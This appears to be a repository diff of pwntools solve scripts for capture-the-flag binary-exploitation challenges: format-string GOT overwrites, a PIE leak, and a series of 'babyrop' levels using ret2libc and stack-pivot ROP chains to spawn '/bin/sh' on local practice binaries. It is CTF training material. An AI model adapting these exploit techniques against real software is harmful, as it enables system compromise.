solve script

cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/a.py

@@ -0,0 +1,36 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./contractor", checksec=False)
+
+while True:
+	r = process()
+
+	# funcs
+	s = lambda a,b: r.sendafter(a, b)
+	sl = lambda a,b: r.sendlineafter(a, b)
+	fill = lambda a: [sl(b"> ", i) if b"\n" in a else s(b"> ", i) for i in a]
+	opt = lambda a,b: (sl(b"> ", a), sl(b": ", b))
+
+	# leak
+	fill([b"mug3njutsu\n", b"none\n", b"13\n", b"ofcourse"+b"C"*8])
+	r.recvuntil(b"C"*8)
+	target.address = u64(r.recv(6).ljust(8, b"\x00")) - 0x1b50
+	log.info("pie: %#x", target.address)
+
+	# write
+	opt(b"4", b"A"*28+p32(0)+b"\x40")
+	sl(b"> ", b"no")
+	opt(b"4", p64(target.sym.contract))
+	
+	r.recvuntil(b"lad!\n\n")
+
+	try:
+		r.sendline(b"id")
+		if r.recvline():
+			break
+	except EOFError:
+		pass
+
+r.interactive()

cyberapocalypse_ctf_2025_tales_from_eldoria/contractor/flag.txt

@@ -0,0 +1 @@
+HTB{f4k3_fl4g_f0r_t35t1ng}

random_challs/echoooo/a.py

@@ -0,0 +1,69 @@
+#!/usr/bin/python3
+
+from pwn import *
+import re
+
+context.binary = target = ELF("./chal", checksec=False)
+libc = target.libc
+
+# bruteforce lower 12 bits
+def brute():
+	for a in range(1, 256):
+		for b in range(8, 256, 16):
+			r = process(level="error")
+			partial_ret = (a << 8) | b
+			write = (0x61 - (partial_ret & 0xff)) & 0xff
+			buf = b"%c"*16 + f"%{partial_ret-16}c%hn".encode()
+			buf += f"%{write}c%48$hhn".encode()
+			r.sendlineafter(b": ", buf)
+			try:
+				r.recvuntil(b"Type")
+				return r, partial_ret
+			except:
+				r.kill()
+				continue
+
+# leak
+r, partial_ret = brute()
+log.info("ret: %#x", partial_ret)
+buf = f"%97c%48$hhn".encode()
+buf += b"AAAA%17$p.%19$p"
+r.sendlineafter(b": ", buf)
+r.recvuntil(b"AAAA")
+leaks = re.findall(r'0x[a-z0-9]+', r.recvS())
+libc.address = int(leaks[0], 16) - 0x29d68
+log.info("libc: %#x", libc.address)
+target.address = int(leaks[1], 16) - 0x1169 
+log.info("elf: %#x", target.address)
+
+# write
+partial_ret = int(hex(libc.sym.system)[-4:], 16)
+buf = f"%{partial_ret}c%12$hn".encode().ljust(16, b"A") + b"%110c%48$hhn".ljust(16, b"A") + p64(target.got.printf)
+r.sendline(buf)
+r.sendline(b"/bin/sh")
+
+r.interactive()
+
+"""
+# write
+partial_ret = 0xe068
+write = (0x61 - (partial_ret & 0xff)) & 0xff
+buf = b"%c"*16 + f"%{partial_ret-16}c%hn".encode()
+buf += f'%{write}c%48$hhn'.encode()
+s(buf)
+
+# leak
+buf = f"%97c%48$hhn".encode()
+buf += b"AAAA%17$p.%19$p"
+s(buf)
+r.recvuntil(b"AAAA")
+leaks = re.findall(r'0x[a-z0-9]+', r.recvS())
+libc.address = int(leaks[0], 16) - 0x29d68
+target.address = int(leaks[1], 16) - 0x1169 
+log.info("elf: %#x", target.address)
+
+# write
+partial_ret = 0x38f0
+buf = f"%{partial_ret}c%12$hn".encode().ljust(16, b"A") + b"%110c%48$hhn".ljust(16, b"A") + p64(target.got.printf)
+r.sendline(buf)
+"""

random_challs/hide/a.py

@@ -0,0 +1,14 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./hide", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+s(b"%160c%hhn%6$s")
+
+r.interactive()

weiss_overlude/babyrop_level_1.0/a.py

@@ -0,0 +1,20 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_1_0
+"""
+
+context.binary = target = ELF("./babyrop_level_1_0", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+buf = b"A"*120
+buf += p64(target.sym.win)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_1.1/a.py

@@ -0,0 +1,16 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_1_1", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+buf = b"A"*136
+buf += p64(target.sym.win)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_2.0/a.py

@@ -0,0 +1,21 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_2_0
+"""
+
+context.binary = target = ELF("./babyrop_level_2_0", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+buf = b"A"*104
+buf += p64(target.sym.win_stage_1)
+buf += p64(target.sym.win_stage_2)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_2.1/a.py

@@ -0,0 +1,17 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_2_1", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+buf = b"A"*88
+buf += p64(target.sym.win_stage_1)
+buf += p64(target.sym.win_stage_2)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_3.0/a.py

@@ -0,0 +1,32 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_3_0
+"""
+
+context.binary = target = ELF("./babyrop_level_3_0", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = lambda a: p64(0x402c63) + p64(a)
+
+# buf
+buf = b"A"*72
+buf += pop_rdi(1)
+buf += p64(target.sym.win_stage_1)
+buf += pop_rdi(2)
+buf += p64(target.sym.win_stage_2)
+buf += pop_rdi(3)
+buf += p64(target.sym.win_stage_3)
+buf += pop_rdi(4)
+buf += p64(target.sym.win_stage_4)
+buf += pop_rdi(5)
+buf += p64(target.sym.win_stage_5)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_3.1/a.py

@@ -0,0 +1,29 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_3_1", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+ss = lambda a: r.sendlineafter(b": ", a)
+
+# funcs
+pop_rdi = lambda a: p64(0x401e03) + p64(a)
+
+# buf
+buf = b"A"*104
+buf += pop_rdi(1)
+buf += p64(target.sym.win_stage_1)
+buf += pop_rdi(2)
+buf += p64(target.sym.win_stage_2)
+buf += pop_rdi(3)
+buf += p64(target.sym.win_stage_3)
+buf += pop_rdi(4)
+buf += p64(target.sym.win_stage_4)
+buf += pop_rdi(5)
+buf += p64(target.sym.win_stage_5)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_4.0/a.py

@@ -0,0 +1,44 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_4_0
+"""
+
+context.binary = target = ELF("./babyrop_level_4_0", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x401a26
+
+# buf
+buf = b"A"*72
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*72
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_4.1/a.py

@@ -0,0 +1,40 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_4_1", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x401d4e
+
+# buf
+buf = b"A"*56
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*56
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_5.0/a.py

@@ -0,0 +1,44 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_5_0
+"""
+
+context.binary = target = ELF("./babyrop_level_5_0", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x401c60
+
+# buf
+buf = b"A"*88
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*88
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_5.1/a.py

@@ -0,0 +1,40 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_5_1", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x40187e
+
+# buf
+buf = b"A"*136
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*136
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_6.0/a.py

@@ -0,0 +1,44 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_6_0
+"""
+
+context.binary = target = ELF("./babyrop_level_6_0", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x4023cc
+
+# buf
+buf = b"A"*88
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*88
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_6.1/a.py

@@ -0,0 +1,40 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_6_1", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x4014e4
+
+# buf
+buf = b"A"*72
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*72
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_7.0/a.py

@@ -0,0 +1,36 @@
+#!/usr/bin/python3
+
+from pwn import *
+import re
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_7_0
+"""
+
+context.binary = target = ELF("./babyrop_level_7_0", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x402883
+
+# buf
+r.recvuntil(b"[LEAK]")
+system = int(re.findall(r'0x[a-z0-9]+', r.recvlineS())[0], 16)
+log.info("system: %#x", system)
+libc.address = system - libc.sym.system
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+
+# pop
+buf = b"A"*88
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_7.1/a.py

@@ -0,0 +1,32 @@
+#!/usr/bin/python3
+
+from pwn import *
+import re
+
+context.binary = target = ELF("./babyrop_level_7_1", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x401ec3
+
+# buf
+r.recvuntil(b"[LEAK]")
+system = int(re.findall(r'0x[a-z0-9]+', r.recvlineS())[0], 16)
+log.info("system: %#x", system)
+libc.address = system - libc.sym.system
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+
+# pop
+buf = b"A"*104
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_8.0/a.py

@@ -0,0 +1,44 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_8_0
+"""
+
+context.binary = target = ELF("./babyrop_level_8_0", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x4020a3
+
+# buf
+buf = b"A"*40
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*40
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_8.1/a.py

@@ -0,0 +1,40 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_8_1", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rdi = 0x401f63
+
+# buf
+buf = b"A"*104
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym.challenge)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = b"A"*104
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_9.0/a.py

@@ -0,0 +1,50 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+"""
+patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_9_0
+"""
+
+context.binary = target = ELF("./babyrop_level_9_0", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rbp = 0x40129d
+leave_ret = 0x4016ab
+pop_rdi = 0x4027d3
+
+# buf
+buf = p64(pop_rbp)
+buf += p64(0x4150e0+0x10)
+buf += p64(leave_ret)
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym._start)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = p64(pop_rbp)
+buf += p64(0x4150e0+0x10)
+buf += p64(leave_ret)
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()

weiss_overlude/babyrop_level_9.1/a.py

@@ -0,0 +1,46 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./babyrop_level_9_1", checksec=False)
+libc = target.libc
+r = process()
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# gadgets
+pop_rbp = 0x4011bd
+leave_ret = 0x4021f1
+pop_rdi = 0x402313
+
+# buf
+buf = p64(pop_rbp)
+buf += p64(0x415080+0x10)
+buf += p64(leave_ret)
+buf += p64(pop_rdi)
+buf += p64(target.got.puts)
+buf += p64(target.sym.puts)
+buf += p64(target.sym._start)
+s(buf)
+
+# leak
+r.recvuntil(b"Leaving!\n")
+puts = u64(r.recv(6).ljust(8, b"\x00"))
+log.info("puts: %#x", puts)
+libc.address = puts - libc.sym.puts
+log.info("libc: %#x", libc.address)
+sh = next(libc.search(b"/bin/sh"))
+system = libc.sym.system
+
+# pop
+buf = p64(pop_rbp)
+buf += p64(0x415080+0x10)
+buf += p64(leave_ret)
+buf += p64(pop_rdi)
+buf += p64(sh)
+buf += p64(pop_rdi+1)
+buf += p64(system)
+s(buf)
+
+r.interactive()